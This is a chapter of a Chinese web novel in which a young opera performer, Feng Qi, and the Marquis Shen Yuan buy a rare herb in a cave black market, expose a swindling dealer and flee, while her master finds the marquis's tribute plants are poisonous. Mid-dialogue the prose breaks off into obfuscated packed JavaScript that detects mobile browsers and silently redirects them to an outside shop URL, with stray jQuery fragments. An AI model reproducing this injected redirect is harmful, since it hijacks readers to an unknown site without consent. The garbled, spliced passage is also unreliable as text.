文趣网 > 都市小说 > 七两春 > 8. 黑市遇险
    “师父~我都多大了,您该放手了!您就把心放肚子里,侯爷神通广大一定会成的。”凤七打岔。

    沈渊道:“廖班主只管放心,我定会护好凤七。”

    廖维音打心底不愿凤七与沈渊牵扯过深。他能看出沈渊对凤七并无半分厌弃与鄙夷。但定远侯与凤七那是云泥之别,心中不由得满心惶惧。

    他原本打算,待凤七站稳台角,登台唱上两年,攒下些许积蓄,便为她择一户安稳寻常人家,寻个好人家做正妻,不求攀附权贵,亦不委屈将就。倘若凤七对定远侯动了心思,他断不肯眼睁睁看着自家徒儿日后屈身为妾,这是他万万无法接受的。

    “侯爷在此用饭吧,一会儿奴婢找两套深色衣服换上,时间一到就出发。”凤七说。

    正说着,刘泉地端着饭菜就进来了,他笑眯眯道:“侯爷,小的特意去百膳斋带来的饭食。”

    刘泉眉眼总是带笑,两鬓微染霜白,说话也温声细语的,看上去非常好相处。

    凤七接过食盒,把里边的菜摆到桌上看到有一盘鸭子,嘴里开始分泌口水。她行礼:“侯爷请慢用,奴婢先退下了。”

    刘泉小声提醒凤七:“我也给你带了一份,快下去吃。”

    凤七激动,三人刚走至门口,沈渊忽然开口:“凤七留下。”

    此言落地,凤七一脸无奈:好东西吃不上了。心里这样想,但面上却笑脸相迎:“侯爷还有什么事吗?”

    屋内只剩沈凤二人,门口要不是有齐风把守,廖维音非得趴门上听听不可。

    屋内沈渊抬手示意让凤七坐下:“坐下。”

    凤七大惊。师父说过,这一行不管男女最是容易被达官显贵看中纠缠,而情感纠葛最容易出人命。廖维音自小便反复叮嘱她,不可攀附权贵,绝不做妾,高门深院看似光鲜,实则处处吃人。

    她屈膝跪地,慌乱叩首求饶:“侯爷,奴婢只登台唱戏,绝不卖身侍奉。侯爷谦谦君子,还望您高抬贵手,放奴婢一马。”

    “让你坐下是吃饭,感谢你的。”

    凤七一听到“吃”字,神色直接大转弯,但很快又恭敬起来:“侯爷这不合规矩。”

    见沈渊一直盯着自己,凤七试探:“那……那奴婢就恭敬不如从命了。”她起身有些羞怯暗骂自己:凤七啊凤七,真是丢脸丢到家了。她走到桌前,卑微开口:“奴婢吃几口就好了,奴婢饭量不大。”

    沈渊静静坐着看着她故作姿态的模样,好似在旁观一场趣味小戏。他端起茶碗掩饰上翘的唇角,只觉眼前的凤七甚是可爱。

    凤七小心翼翼坐下,端起碗筷只吃饭不夹菜,一边吃还不忘偷瞄沈渊。

    “这百膳楼做的神仙鸭京中有名。”沈渊说。

    凤七内心吐槽:知道,知道,光让我留下来吃,那菜离我那样远。存心的。

    沈渊慢条斯理夹起一块肉,动作缓慢,余光早已瞥见凤七的目光黏在那块肉上。他故意将肉送入嘴中,细细品尝起来。而后视线一转,凤七被他这般刻意拿捏,面上已经浮起几分恼意。

    连沈渊自己也说不清缘由,面对凤七他就是总忍不住想逗她。瞧着她给出的反应,心底无端漾开几分轻快感。

    他又夹起一块肉,这次是放入凤七碗中。凤七脸上的神色转变得比翻书都快,转瞬间眉眼舒展:“多谢侯爷。”她歪头一笑,模样灵动俏皮。这般鲜活娇憨的模样似头小鹿一样撞进沈渊心中。

    “侯爷您也吃。”凤七用公筷给沈渊夹,“您这衣服一看就不便宜,一会儿奴婢找师兄借来一套衣服您换上。”

    饭后凤七去找何生借衣服。何生正练功,见到凤七来,立刻从怀中掏出枣泥酥:“给你留的。”

    凤七把上次借他的一两银子还给他:“师兄,这个还你。”银子塞入何生手中,“我能不能跟您借一件衣服,黑色的。”

    廖维音从她身后走出来,拉住凤七走到一旁低声问:“你在屋里与侯爷说什么了?”

    “侯爷叫我与他吃饭,说是感谢我的。”

    “不要在屋里逗留太久,听到没?”凤七点头:“师父我知道,我不会攀附,更不做妾。”

    何生拿出一旁的衣服大声说:“我刚拿过来准备换,你看看行不行?”

    凤七没有继续搭理师父的话茬,她接过衣服查看一番,满意点头:“可以的,谢谢师兄。”

    何生不好意思地挠挠头:“一件衣服,不用客气。”忽的想起什么,“小七,今晚有灯会,可热闹了,要不要一起去?”

    “师兄对不住,今晚我有重要的事,下次我们再一起去。”

    何生有些失落,但也没有为难她:“行,你快去忙吧!”

    凤七独自换好衣服上楼,行至雅间将衣服递给齐风:“齐风小哥儿,麻烦您把这衣服给侯爷,我在门外等。”

    二人穿戴整齐后,廖维音跟随齐风去王府,沈渊带着凤七去黑市寻坐拿草。四人约定在王府集合。

    沈渊与凤七同乘一辆马车,在车上她幻想着黑市的样子,极其兴奋。不知跋涉了多久,马车停在城郊一处山洞前。黑夜伸手不见五指,沈渊点燃火折子,一点微光照亮方寸之地,他嘱咐道:“你跟紧我。”

    刚才还兴奋的凤七此时已经吓得跟鹌鹑一样缩在沈渊身后,她仰起脸认真说:“侯爷放心,一会儿要有危险,奴婢自会跑的远远的绝不给您添乱。”

    其实凤七不算矮,是沈渊太高了,凤七才到他胸前的位置,每次说话都得仰头说,脖子属实是酸痛。

    沈渊低头看着躲在自己身后的凤七,一时竟不知该如何回答。

    二人朝着山洞走去,脚下山势崎岖湿滑,顺着曲折的山洞甬道向内穿行。越往深处走,人群嘈杂声越明显,空气中透露着各种气味,阴沉沉的,处处透露着诡秘凶险。

    穿过几层迂回岔路,路边皆是贩卖违禁私货、弓弩暗器、珍玩赃物的摊子。行不多时,前方一块简陋木牌映入眼帘,凤七上前读:“药!”话还没说完,屋内走出一个矮个子男人,凤七见对方是个小孩,便立在那蹲下身与其平视:“小孩儿,你家大人呢?”

    那男子怒目圆睁:“我是这的老板,叫高大山,你才是小孩儿。”

    凤七道歉:“对不住,对不住。”

    高大山目光缓缓扫过面前二人,视线在沈渊身上多有停留。见对方气度清贵卓然,绝非寻常市井布衣,他眼珠一转,便挑了看似更好拿捏的凤七,扬着下巴,语气倨傲开口:“我这天下偏门药材、罕见草株、秘制膏丹,都有。旁人求而不得的东西,只要价码到位,我便能为客官寻来,你们要什么?”

    沈渊冷声:“坐拿草。”

    “有的,有的,二位里面请。”高大山满脸讨好,登梯爬高的拿下一株炮制好的坐拿草,宝贝似的捧在手中。

    凤七接过细细查验,满意点头:“是这个,没错。”她又问高大山,“你这坐拿草哪里来的?是不是正规的?”

    这话一出,高大山就知道凤七这是第一次来这黑市,他笑盈盈解说:“姑娘,黑市规矩,买卖不问来路,交易不露行踪,银钱两清出门概不退换。”

    “多少钱?”沈渊问。

    “五百两。”

    凤七大惊:“你抢钱呐?五百两!”

    “姑娘有所不知,这坐拿草是长在瘴气之地深处,且十年开花才可以入药。这整个京城您能找出第二株,鄙人名字倒着写,五百两已经够物美价廉了。”

    沈渊大手一挥掏出五百两银票,店家喜笑颜开:“我这就把这坐拿草给二位包好,请稍后。”

    凤七四处张望,看着屋内的摆设。约莫一盏茶功夫,店家将一个精美木盒递到凤七手上,眼睛滴溜溜的转:“姑娘拿好。”凤七刚接过木盒还未来得及查验,沈渊腰间佩刀已然出鞘,寒光一闪,刀刃径直抵住店家咽喉,厉声呵斥:“把真的拿出来。”

    一旁凤七见状连忙打开木盒,指尖拨弄药草,俯身细细嗅辨:“山大高,好你个黑心肝的东西,竟敢拿假的糊弄我们。报官

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865501|212178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !”

    “报官?这是黑市,皇帝来了他也管不着。”高大山见骗局被戳破,眼底谄媚之色瞬间褪去,凶相毕露。他足尖点地,纵身跳到桌案上,仰头吹出一声清脆的口哨,随着哨音传开,四下暗处当即窜出来六个壮汉,各个手拿利器,将沈渊与凤七团团围住。

    “还想要真品?我看你们有命拿,没命用。”他冲身后弟兄们喊,“这两个来砸场子的,动手!”

    凤七见对方人多,怕沈渊双拳难敌四手。她心里一横,快速掏出事先准备的药粉,用力一扬,细粉随风四散,不过瞬息功夫,几名大汉开始抓耳挠腮,撕扯衣衫,再顾不上围堵二人。

    她与沈渊对视,语气带着狡黠:“快走,临事勿逞血气之勇。”

    沈渊将她推至墙根处:“躲好!”语犹未毕,他已冲上去与壮汉缠斗。

    凤七缩在墙边虽害怕,但秉着来都来了的道理,趁乱摸进了内室。她迅速四下翻找,找到那颗被掉包的坐拿草,确认无误后塞进布包里。转念一想,这黑心店以假药行骗就气不打一处来,此刻有机会,何苦空手而归?

    说干就干,她放开手脚将药柜中存放的珍稀药材尽数打包,一边拿一边后悔:“早知会这样,我该直接拿那个大布袋才行。”她探头查看外面动静时,无意间看到柜顶上有一个很漂亮的盒子。

    凤七心中暗忖:这么好看的盒子,还放这么高,肯定是宝贝。她当即踮脚攀爬木柜,轻轻取下匣子掀开。果不其然,匣子里竟放着一颗硕大圆润的夜明珠。凤七一脸财迷相,正伸手去拿,高大山暴跳如雷:“你个贼!”

    她动作极快,一把将夜明珠塞入怀中,碎步疾奔而出。沈渊见状,当即脱身掠至她身前,将她牢牢护在身后。

    “快走,草药我拿到了。”说完,凤七又掏出一把粉末,再次一扬。身后几人动作快速躲闪,待沈凤二人跑出去时,一名壮汉愣道:“这次的不痒。”

    高大山怒骂:“蠢货,那就是面粉。快给我去追。”

    沈渊带着凤七运用轻功,一路逃出黑市。

    未抓住人的高大山,坐在地上嚎啕大哭:“我要杀了你们喂狗,我的宝贝啊,完了,全完了……”

    凤七跟随沈渊纵身跃上马车,车夫扬鞭催马,一刻也不耽搁,径直朝着定远侯府疾驰而去。

    马车上,凤七安慰沈渊:“侯爷放心,奴婢这一包东西绝对不亏。”

    另一边,廖维音正对着沈渊寝室里的两大颗绿植仔细端详。

    齐风介绍道:“这个是倭国进贡的,因我家侯爷立下战功,陛下给的奖赏里就有这两盆植物。”他想了想又继续,“哦对了,那倭国人还说这植物会滴水,若用滴下的水来泡茶,会延年益寿。只不过侯爷不喜喝茶。”

    “你掰下来一块,尝尝……”廖维音吩咐。

    齐风很自信,因为他觉得皇上是很看中自家侯爷的,根本不会害侯爷。他掰下一大块放入嘴里咀嚼起来,还没嚼几下他立刻吐掉,面部扭曲的道:“这什么?”

    “什么感觉?”

    齐风咧着嘴道:“感觉有针扎,有灼烧感。”他的口水止不住的往外流,嘴巴也红肿起来,神情慌张,“我这怎么了?”

    廖维音掏出一粒药丸递给他:“去漱口,然后吃下去。”说着他把那两颗植物搬至屋外。

    齐风皱眉抱怨:“你早就知道有毒的是不是?你知道还叫我尝?”他的嘴已经肿的老高,说话口齿不清。

    廖维音笑言:“齐风小哥儿身强体壮,年轻不碍事的。我这一把老骨头禁不起这样折腾。”

    他蹲在植物面前暗自思索,当今圣上绝非昏聩之辈,一众御医们久经宦海,察微知著,无一愚人。皇帝想借毒牵制、拿捏沈渊,朝野上下皆心知肚明。他猜想沈渊办官员案时从不网开一面的原因。他察觉出沈渊让自己制解药的这盘棋,也猜到皇帝手中一定有解药,而沈渊怎么可能被牵制呢?

    正凝神想着,远方急促的马蹄声由远及近,哒哒声响清晰入耳。